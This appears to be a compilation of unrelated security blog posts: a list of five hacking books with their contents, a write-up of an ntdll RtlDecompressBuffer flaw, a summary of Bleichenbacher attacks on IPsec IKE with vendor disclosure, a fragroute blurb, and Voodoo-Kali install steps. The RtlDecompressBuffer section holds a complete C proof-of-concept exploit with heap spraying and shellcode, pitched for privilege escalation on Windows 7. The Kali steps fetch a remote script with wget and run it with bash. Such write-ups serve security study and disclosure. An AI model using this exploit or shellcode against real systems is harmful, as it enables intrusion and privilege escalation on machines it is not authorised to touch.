5 BEST HACKING BOOKS 2018

Most of the people don't go with videos and read books for learning. Book reading is a really effective way to learn and understand how things work. There are plenty of books about computers, security, penetration testing and hacking. Every book shows a different angle how things work and how to make system secure and how it can be penetrated by hackers. So, here I have gathered a few of the best hacking books of 2018 available on the market.

BEST HACKING BOOKS OF 2018

There are hundreds of books about hacking, but I have streamlined few of best hacking books of 2018.

1. THE HACKER'S PLAYBOOK PRACTICAL GUIDE TO PENETRATION

This handbook is about experting yourself with the hacking techniques in the hacker's way. This is about penetration testing that how hackers play their techniques and how we can counter them.

CONTENTS

• Introduction
• Pregame – The Setup
• Setting Up a Penetration Testing Box
• Before the Snap – Scanning the Network
• The Drive – Exploiting Scanner Findings
• The Throw – Manual Web Application Findings
• The Lateral Pass – Moving Through the Network
• The Screen – Social Engineering
• The Onside Kick – Attacks that Require Physical Access
• The Quarterback Sneak – Evading AV
• Special Teams – Cracking, Exploits, Tricks
• Post Game Analysis – Reporting

Download the Hacker's Playbook Practical Guide to Penetration.

2. ANDROID HACKER'S HANDBOOK

The Android Hacker's Handbook is about how the android devices can be hacked. Authors chose to write this book because the field of mobile security research is so "sparsely charted" with disparate and conflicted information (in the form of resources and techniques).

CONTENTS

• Chapter 1 Looking at the Ecosystem
• Chapter 2 Android Security Design and Architecture
• Chapter 3 Rooting Your Device
• Chapter 4 Reviewing Application Security
• Chapter 5 Understanding Android's Attack Surface
• Chapter 6 Finding Vulnerabilities with Fuzz Testing
• Chapter 7 Debugging and Analyzing Vulnerabilities
• Chapter 8 Exploiting User Space Software
• Chapter 9 Return Oriented Programming
• Chapter 10 Hacking and Attacking the Kernel
• Chapter 11 Attacking the Radio Interface Layer
• Chapter 12 Exploit Mitigations
• Chapter 13 Hardware Attacks

Download Android Hacker's Handbook.

3. PENETRATION TESTING: A HANDS-ON INTRODUCTION TO HACKING

This book is an effective practical guide to penetration testing tools and techniques. How to penetrate and hack into systems. This book covers beginner level to highly advanced penetration and hacking techniques.

CONTENTS

• Chapter 1: Setting Up Your Virtual Lab
• Chapter 2: Using Kali Linux
• Chapter 3: Programming
• Chapter 4: Using the Metasploit Framework
• Chapter 5: Information Gathering
• Chapter 6: Finding Vulnerabilities
• Chapter 7: Capturing Traffic
• Chapter 8: Exploitation
• Chapter 9: Password Attacks
• Chapter 10: Client-Side Exploitation
• Chapter 11: Social Engineering
• Chapter 12: Bypassing Antivirus Applications
• Chapter 13: Post Exploitation
• Chapter 14: Web Application Testing
• Chapter 15: Wireless Attacks
• Chapter 16: A Stack-Based Buffer Overflow in Linux
• Chapter 17: A Stack-Based Buffer Overflow in Windows
• Chapter 18: Structured Exception Handler Overwrites
• Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules
• Chapter 20: Using the Smartphone Pentesting Framework

Download Penetration Testing: A Hands-On Introduction To Hacking.

4. THE SHELLCODER'S HANDBOOK

This book is about learning shellcode's of the OS and how OS can be exploited. This book is all about discovering and exploiting security holes in devices to take over.

Authors: Chris Anley, John Heasman, Felix "FX" Linder, Gerardo Richarte.

CONTENTS

• Stack Overflows
• Shellcode
• Introduction to Format String Bugs
• Windows Shellcode
• Windows Overflows
• Overcoming Filters
• Introduction to Solaris Exploitation
• OS X Shellcode
• Cisco IOS Exploitation
• Protection Mechanisms
• Establishing a Working Environment
• Fault Injection
• The Art of Fuzzing
• Beyond Recognition: A Real Vulnerability versus a Bug
• Instrumented Investigation: A Manual Approach
• Tracing for Vulnerabilities
• Binary Auditing: Hacking Closed Source Software
• Alternative Payload Strategies
• Writing Exploits that Work in the Wild
• Attacking Database Software
• Unix Kernel Overflows
• Exploiting Unix Kernel Vulnerabilities
• Hacking the Windows Kernel

Download The ShellCoder's HandBook.

5. THE HACKER'S HANDBOOK WEB APPLICATION SECURITY FLAWS

This handbook is about finding and exploiting the web applications.

Authors: Dafydd Stuttard, Marcus Pinto.

CONTENTS

• Chapter 1 Web Application (In)security
• Chapter 2 Core Defense Mechanisms
• Chapter 3 Web Application Technologies
• Chapter 4 Mapping the Application
• Chapter 5 Bypassing Client-Side Controls
• Chapter 6 Attacking Authentication
• Chapter 7 Attacking Session Management
• Chapter 8 Attacking Access Controls
• Chapter 9 Attacking Data Stores
• Chapter 10 Attacking Back-End Components
• Chapter 11 Attacking Application Logic
• Chapter 12 Attacking Users: Cross-Site Scripting
• Chapter 13 Attacking Users: Other Techniques
• Chapter 14 Automating Customized Attacks
• Chapter 15 Exploiting Information Disclosure
• Chapter 16 Attacking Native Compiled Applications
• Chapter 17 Attacking Application Architecture
• Chapter 18 Attacking the Application Server
• Chapter 19 Finding Vulnerabilities in Source Code
• Chapter 20 A Web Application Hacker's Toolkit
• Chapter 21 A Web Application Hacker's Methodology

Download The Hacker's Handbook Web Application Security Flaws.

So, these are the top 5 best hacking books on the market. There may be more fascinating books in the future that make take place in the top list. But for now, these are the best hacking books. Read and share your experience with these books.

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RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

• the movzx limits the boundaries to 16bits
• the test ax, ax avoids the algorithm 0
• the cmp ax, 1 avoids the algorithm 1
• the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector

This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

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Practical Bleichenbacher Attacks On IPsec IKE

We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):

• Cisco: CVE-2018-0131, Security Advisory
• Huawei: CVE-2017-17305, Security Advisory
• Clavister: CVE-2018-8753, Security Advisory
• Zyxel: CVE-2018-9129, Security Advisory

On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:

1. The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
2. The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
3. The attackers initiate several parallel PKE based key exchanges to Responder B.
• In each of these exchanges, they send and receive the first two messages according to the protocol specifications.
• In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.
• They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).
4. After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
5. The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published firmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (Release Notes) is available.

FAQs

• Why don't you have a cool name for this attack?
  The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
• Do you have a logo for the attack?
  No.
• My machine was running a vulnerable firmware. Have I been attacked?
  We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
• Where can I learn more?
  First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
• What else does the paper contain?
  The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

English

• Press release by the Ruhr University Bochum
• BleepingComputer
• Computer Business Review
• Medium
• SecurityWeek
• The Register
• ZDNet

German

• Pressemeldung der Ruhr-Universität Bochum
• FOCUS Online
• SecuPedia

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Fragroute

"fragroute intercepts, modifies, and rewrites egress traffic destined for a specified host, implementing most of the attacks described in the Secure Networks "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" paper of January 1998. It features a simple ruleset language to delay, duplicate, drop, fragment, overlap, print, reorder, segment, source-route, or otherwise monkey with all outbound packets destined for a target host, with minimal support for randomized or probabilistic behaviour. This tool was written in good faith to aid in the testing of network intrusion detection systems, firewalls, and basic TCP/IP stack behaviour." read more...

Website: http://monkey.org/~dugsong/fragroute

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Voodoo-Kali - Kali Linux Desktop On Windows 10

How it works?
 * Kali Linux with XFCE Desktop Environment in Windows Subsystem for Linux (WSL)
 * VcXsrv X Server for Windows is doing the hard GUI lifting
 * XFCE is started natively in WSL and displayed by VcXsrv

Install Voodoo-Kali:
 1, Enable WSL and install Kali Linux from the Microsoft Store. Read Install Kali Linux desktop on Windows 10 from Microsoft Store

 2, To start Kali Linux in Windows 10, open Command Prompt and enter the command: kali

 3, Enter this commands:
      apt install wget -y 
      wget https://raw.githubusercontent.com/Re4son/WSL-Kali-X/master/install-WSL-Kali-X
      bash ./install-WSL-Kali-X

 4, Download and install VcXsrv Windows X Server from SourceForge

 5, Start VcXsrv, accept change in firewall rules, exit VcXsrv

Run Voodoo-Kali:
   Start kali in Windows as normal user (that's default), and launch Voodoo-Kali:
    * as normal user: ./start-xfce
    * as root: sudo /root/xtart-xfce

Run Kali Desktop in an RDP session:
   In Kali Linux WSL, type: sudo /etc/init.d/xrdp start
   In Windows 10, open Run and enter mstsc.exe and connect to "127.0.0.1:3390"

Status: Voodoo-Kali is in its infancy and it is far from being elegant. I'm working on it though and step by step I'll push out improvements. Below a snippet of the To-Do list:
 * Clean up and comment the scripts
 * Make for a cleaner exit
 * Better error handling and dependency checking (get rid of sleep, etc.)
 * Improve stability of Java programs
 * Improve the looks??
 * …

   Any help is truly appreciated, in any shape or form – from tips to pull requests.
   Why don't you join the forums to discuss?

Further Information:
 * Offsec – Kali Linux in the Windows App Store
 * MSDN – Windows Subsystem for Linux Overview

                                       Download Voodoo-Kali

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